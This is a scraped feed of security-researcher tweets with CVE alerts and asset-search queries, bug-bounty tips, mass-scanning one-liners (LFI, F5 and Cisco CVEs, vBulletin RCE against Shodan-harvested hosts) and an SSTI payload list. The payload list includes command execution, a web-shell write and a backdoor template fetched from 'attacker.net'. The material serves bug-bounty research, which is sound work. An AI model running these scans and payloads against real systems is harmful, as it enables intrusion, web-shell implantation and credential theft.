Benchmarkkk

Cyber Security Engineer | 20+ CVE ID's | 2 Recognized Patents | Pen tester | HOF from Google | Top OnePlus Security Researcher 19-20

[Benchmarkkk @heybenchmarkkk]

My First Writeup: https://t.co/M6uDFkBDAR

Thank you @ADITYASHENDE17 @GodfatherOrwa Your Twitter tips help a lot.

[Rishi @rxerium]

🚨 Critical — CVE-2025-10035 (CVSS 10.0): Fortra has disclosed a deserialization flaw in the GoAnywhere MFT License Servlet that can allow remote command-injection.

I've created a #nuclei script to detect vulnerable instances at scale:
https://t.co/tgEvGaFAJh

[FOFA @fofabot]

⚠️⚠️ CVE-2023-52251 and CVE-2024-32030: Remote code execution(RCE) in UI for Apache Kafka

🎯5.8k+ Results are found on the https://t.co/uLIbgJcaq5 nearly year.

FOFA Link🔗: https://t.co/uxvrF68cPQ

FOFA Query: app="UI-for-Apache-Kafka"

PoC🔖: https://t.co/0dIcqvfKdd

#OSINT #FOFA

[Hunter @HunterMapping]

🚨Alert🚨CVE-2024-37079 & CVE-2024-37080 (CVSS scores: 9.8): Multiple heap-overflow vulnerabilities in the implementation of the DCE/RPC protocol!
⚠They could allow a bad actor with network access to vCenter Server to achieve remote code execution by sending a specially crafted network packet
📊34K+ Services are found on https://t.co/g3tSyh1Boc
🔗Hunter Link: https://t.co/jm6vQe2ZzV
📰Refer: https://t.co/CwqlZre3cz
👇Query
Hunter:/product.name="VMware vCenter Server"
FOFA: app="vmware-vCenter"
SHODAN: product:"VMware vCenter Server"
#VMware #hunterhow #infosec #infosecurity #Infosys #Vulnerability

[Nicolas Krassas @Dinosn]

CVE-2024-4177: SSRF Vulnerability Patched in Bitdefender GravityZone Console On-Premise https://t.co/o6rAhIJSkG

[Ninad Mishra @NinadMishra5]

The only recon methodology you need to know

https://t.co/Y5SKUENJPl

#bugbountytips #bugbounty #cybersecurity

[Yunus Emre Öztaş @ynsmroztas]

Always test the :83 default port on servers, maybe there is Telerik Report Server, you can take advantage of the newly revealed vulnerability.

#BugBounty #BugBountyTip

#CVE-2024-4358 / #CVE-2024-1800

https://t.co/9yEQkk5toi

[Benchmarkkk @heybenchmarkkk]

@Bugcrowd 🎊

[bugcrowd @Bugcrowd]

GIVEAWAY 🎁🎁

It's simple, here are the rules:
🧑‍💻 Be a hacker
🔁 Retweet
❤️ Like
📝 Fill out the survey
👇 Drop an emoji when done

You could win an entire swag bundle just by filling out the survey 😱
https://t.co/hJToX6cWHq

[mchklt @mchklt]

Excited to share my journey on discovering my first Remote Code Execution (RCE)!
Check out the article here: https://t.co/JuGBsrxi31

#BugBounty #bugbountytips #cybersecuritytips #CyberSecurity

[N$🌟 @__nav1n_]

You guys always ask me how do I find SQL injections, its just simple. Avoid what everyone does and make your own methodology. Here is mine:

1. I don't normally go if the target is just https://t.co/eCSul2K1wx. I always prefer the target with wide scope.

1/n
#BugBounty

[0xRAYAN 🇸🇦 @0xRAYAN7]

🔍 #BugBountyTip:
Found a JS file that's hard to read?

Try deobfuscating it at https://t.co/MNEJWWJvMf. Learn the obfuscation techniques used, as some methods might not be reversible by this tool. 🛠️ Key JS obfuscation techniques:

- Reordering
- Encoding
- Splitting
- Renaming
- Logic Concealing

Dive in and decode! 👍 **#JavaScript #CyberSecurity**

[X @TheMsterDoctor1]

Happy Hunting !!!!

Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with ♥ by the community.

Contribute and enhance your bounty hunting arsenal!

## Quick Guide

- **HOST:** Refers to a single hostname, domain, or IP address.
- **HOSTS.txt:** Contains multiple hosts.
- **URL:** Represents a URL, starting with HTTP/HTTPS.
- **URLS.txt:** Contains multiple URLs.
- **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution.
- **OUT.txt:** or **OUT{N}.txt:** Target storage for results.

---

### Local File Inclusion
> @dwisiswant0

```bash
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```

### Open Redirect
> @dwisiswant0

```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
```

> @N3T_hunt3r

```bash
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
```

### XSS
> @cihanmehmet

```bash
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
```

> @fanimalikhack

```bash
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b https://t.co/0Pxq2ZdMIq pipe > OUT.txt
```

> @oliverrickfors

```bash
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
```

### Prototype Pollution
> @R0X4R

```bash
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```

### CVE-2020-5902
> @Madrobot_

```bash
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
```

### CVE-2020-3452
> @vict0ni

```bash
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt
```

### CVE-2022-0378
> @7h3h4ckv157

```bash
cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
```

### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
> @Madrobot_

```bash
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
```

### Find JavaScript Files
> @D0cK3rG33k

whois -h https://t.co/tVWipHXAti -i origin -T route $(whois -h https://t.co/tVWipHXAti IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
### Extract IPs from a File
> @emenalf

grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
### Ports Scan without CloudFlare
> @dwisiswant0
#BugBounty #bugbountytips
Follow 👇👇👇👇👇👇👇👇👇👇

[X @TheMsterDoctor1]

Happy Hunting!!!😎😎🚨🚨

SSTI (Server Side Template Injection)

Generic
${{<%[%'"}}%\.
{% debug %}
{7*7}
{{ '7'*7 }}
{2*2}[[7*7]]
<%= 7 * 7 %>
#{3*3}
#{ 3 * 3 }
[[3*3]]
${2*2}
@(3*3)
${= 3*3}
{{= 7*7}}
${{7*7}}
#{7*7}
[=7*7]
{{ request }}
{{self}}
{{dump(app)}}
{{ [] .class.base.subclassesO }}
{{''.class.mro()[l] .subclassesO}}
for c in [1,2,3] %}{{ c,c,c }}{% endfor %}
{{ []._class.base.subclasses_O }}
{{['cat%20/etc/passwd']|filter('system')}}

PHP
{php}print "Hello"{/php}
{php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php}
{{dump(app)}}
{{app.request.server.all|join(',')}}
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{$smarty.version}
{php}echo id;{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

Python
{% debug %}
{{settings.SECRET_KEY}}
{% import foobar %} = Error
{% import os %}{{os.system('whoami')}}

#BugBounty #bugbountytips

[Komodo Cyber Security @Komodosec]

#Vulnerability #CVE20242389 CVE-2024-2389 (CVSS 10): Critical Security Flaw Discovered in Progress Flowmon Network Monitoring Tool https://t.co/pwo4RhJfMf

[Nicolas Krassas @Dinosn]

Bluetooth Eavesdropping Threat Exposed: New “BlueSpy” Exploit Targets Popular Headsets https://t.co/r6RQqMCsVY

[Abdullah Nawaf (HackerX007)🇯🇴 @XHackerx007]

We earned $35,000 in total with @GodfatherOrwa for submissions on @bugcrowd #ItTakesACrowd
#Tip:
command `ffuf -w /subdomain_megalist.txt -u 'https://XXXFUZZ[.]target[.]com/' -c -t 350 -mc all -fs 0` also
`https://FUZZXXX[.]target[.]com/`

[Nithin 🦹‍♂️ @thebinarybot]

🚨 Top 30 Recon Tools for Ethical Hackers / Pentesters 🧑‍💻

Nmap
Shodan
Recon-ng
theHarvester
Maltego
Metasploit Framework
Wireshark
Netcat
dnsrecon
Nikto
Whois
Hping
ReconFTW
THC Hydra
Aircrack-ng
DNSenum
Masscan
Snort
OSINT Framework
SpiderFoot
Wfuzz
DirBuster
Subfinder
OSRFramework
ZAP
CeWL
Fierce
Xplico
BeEF (Browser Exploitation Framework)
Nuclei

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

@Bugcrowd Who’s asking about what wordlist I use

I use mostly

https://t.co/nqlos11edo

and

https://t.co/ZUu1EvaAsn

Important note all the time update your wordlist manually by adding interesting endpoints / dirs that you have

[Raman_MG @Raman_Mohurle]

Great weekend on H1 @Hacker0x01

Found /.git/config while fuzzing ( medium )

used GitTools : https://t.co/a0DhwhXhpZ to dump whole .git directory form server

Found DB creds in dumped files which are not accessible directly ( Critical )

#bugbountytip #bugbountytips